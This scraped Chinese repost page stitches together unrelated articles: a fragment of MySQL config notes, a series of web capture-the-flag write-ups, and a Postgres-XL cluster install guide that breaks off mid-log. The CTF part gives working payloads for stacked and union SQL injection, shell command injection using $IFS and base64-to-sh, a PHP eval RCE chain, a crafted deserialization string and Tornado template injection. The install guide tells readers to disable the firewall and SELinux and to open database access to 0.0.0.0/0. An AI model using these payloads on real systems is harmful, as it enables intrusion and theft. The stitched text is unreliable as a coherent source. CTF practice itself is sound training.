如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-08 09:56:02
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...通过 MYSQL的预处理语句,使用 : concat('s','elect',' from 1919810931114514') 完成绕过 构造pyload: 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字,字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说,没有回显,联合查询基本没戏。 好在页面会进行相应的变化,证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回,一种是空白,一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母(除过滤的关键词外)都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符,不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
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...,具有足够的灵活性来处理不同的数据库任务。 Postgres-XL功能特性 开放源代码:(源协议使用宽松的“Mozilla Public License”许可,允许将开源代码与闭源代码混在一起使用。) 完全的ACID支持 可横向扩展的关系型数据库(RDBMS) 支持OLAP应用,采用MPP(Massively Parallel Processing:大规模并行处理系统)架构模式 支持OLTP应用,读写性能可扩展 集群级别的ACID特性 多租户安全 也可被用作分布式Key-Value存储 事务处理与数据分析处理混合型数据库 支持丰富的SQL语句类型,比如:关联子查询 支持绝大部分PostgreSQL的SQL语句 分布式多版本并发控制(MVCC:Multi-version Concurrency Control) 支持JSON和XML格式 Postgres-XL缺少的功能 内建的高可用机制 使用外部机制实现高可能,如:Corosync/Pacemaker 有未来功能提升的空间 增加节点/重新分片数据(re-shard)的简便性 数据重分布(redistribution)期间会锁表 可采用预分片(pre-shard)方式解决,在同台物理服务器上建立多个数据节点,每个节点存储一个数据分片。数据重分布时,将一些数据节点迁出即可 某些外键、唯一性约束功能 Postgres-XL架构 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M9lFuEIP-1640133702200)(./assets/postgre-xl.jpg)] 基于开源项目Postgres-XC XL增加了MPP,允许数据节点间直接通讯,交换复杂跨节点关联查询相关数据信息,减少协调器负载。 多个协调器(Coordinator) 应用程序的数据库连入点 分析查询语句,生成执行计划 多个数据节点(DataNode) 实际的数据存储 数据自动打散分布到集群中各数据节点 本地执行查询 一个查询在所有相关节点上并行查询 全局事务管理器(GTM:Global Transaction Manager) 提供事务间一致性视图 部署GTM Proxy实例,以提高性能 Postgre-XL主要组件 GTM (Global Transaction Manager) - 全局事务管理器 GTM是Postgres-XL的一个关键组件,用于提供一致的事务管理和元组可见性控制。 GTM Standby GTM的备节点,在pgxc,pgxl中,GTM控制所有的全局事务分配,如果出现问题,就会导致整个集群不可用,为了增加可用性,增加该备用节点。当GTM出现问题时,GTM Standby可以升级为GTM,保证集群正常工作。 GTM-Proxy GTM需要与所有的Coordinators通信,为了降低压力,可以在每个Coordinator机器上部署一个GTM-Proxy。 Coordinator --协调器 协调器是应用程序到数据库的接口。它的作用类似于传统的PostgreSQL后台进程,但是协调器不存储任何实际数据。实际数据由数据节点存储。协调器接收SQL语句,根据需要获取全局事务Id和全局快照,确定涉及哪些数据节点,并要求它们执行(部分)语句。当向数据节点发出语句时,它与GXID和全局快照相关联,以便多版本并发控制(MVCC)属性扩展到集群范围。 Datanode --数据节点 用于实际存储数据。表可以分布在各个数据节点之间,也可以复制到所有数据节点。数据节点没有整个数据库的全局视图,它只负责本地存储的数据。接下来,协调器将检查传入语句,并制定子计划。然后,根据需要将这些数据连同GXID和全局快照一起传输到涉及的每个数据节点。数据节点可以在不同的会话中接收来自各个协调器的请求。但是,由于每个事务都是惟一标识的,并且与一致的(全局)快照相关联,所以每个数据节点都可以在其事务和快照上下文中正确执行。 Postgres-XL继承了PostgreSQL Postgres-XL是PostgreSQL的扩展并继承了其很多特性: 复杂查询 外键 触发器 视图 事务 MVCC(多版本控制) 此外,类似于PostgreSQL,用户可以通过多种方式扩展Postgres-XL,例如添加新的 数据类型 函数 操作 聚合函数 索引类型 过程语言 安装 环境说明 由于资源有限,gtm一台、另外两台身兼数职。 主机名 IP 角色 端口 nodename 数据目录 gtm 192.168.20.132 GTM 6666 gtm /nodes/gtm 协调器 5432 coord1 /nodes/coordinator xl1 192.168.20.133 数据节点 5433 node1 /nodes/pgdata gtm代理 6666 gtmpoxy01 /nodes/gtm_pxy1 协调器 5432 coord2 /nodes/coordinator xl2 192.168.20.134 数据节点 5433 node2 /nodes/pgdata gtm代理 6666 gtmpoxy02 /nodes/gtm_pxy2 要求 GNU make版本 3.8及以上版本 [root@pg ~] make --versionGNU Make 3.82Built for x86_64-redhat-linux-gnuCopyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. 需安装GCC包 需安装tar包 用于解压缩文件 默认需要GNU Readline library 其作用是可以让psql命令行记住执行过的命令,并且可以通过键盘上下键切换命令。但是可以通过--without-readline禁用这个特性,或者可以指定--withlibedit-preferred选项来使用libedit 默认使用zlib压缩库 可通过--without-zlib选项来禁用 配置hosts 所有主机上都配置 [root@xl2 11] cat /etc/hosts127.0.0.1 localhost192.168.20.132 gtm192.168.20.133 xl1192.168.20.134 xl2 关闭防火墙、Selinux 所有主机都执行 关闭防火墙: [root@gtm ~] systemctl stop firewalld.service[root@gtm ~] systemctl disable firewalld.service selinux设置: [root@gtm ~]vim /etc/selinux/config 设置SELINUX=disabled,保存退出。 This file controls the state of SELinux on the system. SELINUX= can take one of these three values: enforcing - SELinux security policy is enforced. permissive - SELinux prints warnings instead of enforcing. disabled - No SELinux policy is loaded.SELINUX=disabled SELINUXTYPE= can take one of three two values: targeted - Targeted processes are protected, minimum - Modification of targeted policy. Only selected processes are protected. mls - Multi Level Security protection. 安装依赖包 所有主机上都执行 yum install -y flex bison readline-devel zlib-devel openjade docbook-style-dsssl gcc 创建用户 所有主机上都执行 [root@gtm ~] useradd postgres[root@gtm ~] passwd postgres[root@gtm ~] su - postgres[root@gtm ~] mkdir ~/.ssh[root@gtm ~] chmod 700 ~/.ssh 配置SSH免密登录 仅仅在gtm节点配置如下操作: [root@gtm ~] su - postgres[postgres@gtm ~] ssh-keygen -t rsa[postgres@gtm ~] cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys[postgres@gtm ~] chmod 600 ~/.ssh/authorized_keys 将刚生成的认证文件拷贝到xl1到xl2中,使得gtm节点可以免密码登录xl1~xl2的任意一个节点: [postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl1:~/.ssh/[postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl2:~/.ssh/ 对所有提示都不要输入,直接enter下一步。直到最后,因为第一次要求输入目标机器的用户密码,输入即可。 下载源码 下载地址:https://www.postgres-xl.org/download/ [root@slave ~] ll postgres-xl-10r1.1.tar.gz-rw-r--r-- 1 root root 28121666 May 30 05:21 postgres-xl-10r1.1.tar.gz 编译、安装Postgres-XL 所有节点都安装,编译需要一点时间,最好同时进行编译。 [root@slave ~] tar xvf postgres-xl-10r1.1.tar.gz[root@slave ~] ./configure --prefix=/home/postgres/pgxl/[root@slave ~] make[root@slave ~] make install[root@slave ~] cd contrib/ --安装必要的工具,在gtm节点上安装即可[root@slave ~] make[root@slave ~] make install 配置环境变量 所有节点都要配置 进入postgres用户,修改其环境变量,开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾,新增如下变量配置: export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc,然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句,如果输出变量结果,代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 